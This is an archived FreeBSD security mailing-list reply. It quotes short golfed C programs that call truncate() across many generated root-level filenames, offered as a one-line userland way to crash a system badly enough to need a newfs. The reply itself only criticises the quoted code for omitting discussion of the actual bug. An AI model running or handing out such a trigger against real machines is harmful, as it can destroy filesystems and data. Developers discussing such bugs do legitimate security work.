How to take down a system to the point of requiring a newfs with
one line of C (userland)
Scott Long
scottl at samsco.org
Mon Feb 18 15:08:29 UTC 2008
Dag-Erling Smørgrav wrote:
> Dag-Erling Smørgrav <des at des.no> writes:
>> Purely in the interest of showing off, here is my version. It is 81
>> bytes shorter than yours, it is valid C99 with POSIX extensions (yours
>> is not), and it produces 11,450 files in about 0.2% of the time yours
>> takes to produce 10,000.
>>
>> #include <unistd.h>
>> #define b(i,v) for(int v=48;v<127;++v){f[i]=v;
>> #define a(i) b(i,v##i)
>> int main(void){char f[5]={'/'};a(1)a(2)a(3)truncate(f,0);}}}}
>
> Two bugs:
>
> 1) I forgot to include the correct version of the code
>
> 2) the version I had created a few files with '/' in their names; this
> slightly nastier creates 10,648 files with only letters.
>
> #include <unistd.h>
> #define b(i,v)for(int v=65;v<87;){i[f]=v++;
> #define a(i)b(i,v##i)
> int main(void){char f[4]={47};a(1)a(2)a(3)truncate(f,0);}}}}
>
> DES
This version also omits the constructive comments on the actual problem
that the original poster identified.
Scott
_______________________________________________
freebsd-security at freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-security
To unsubscribe, send any mail to "freebsd-security-unsubscribe at freebsd.org"
More information about the freebsd-stable
mailing list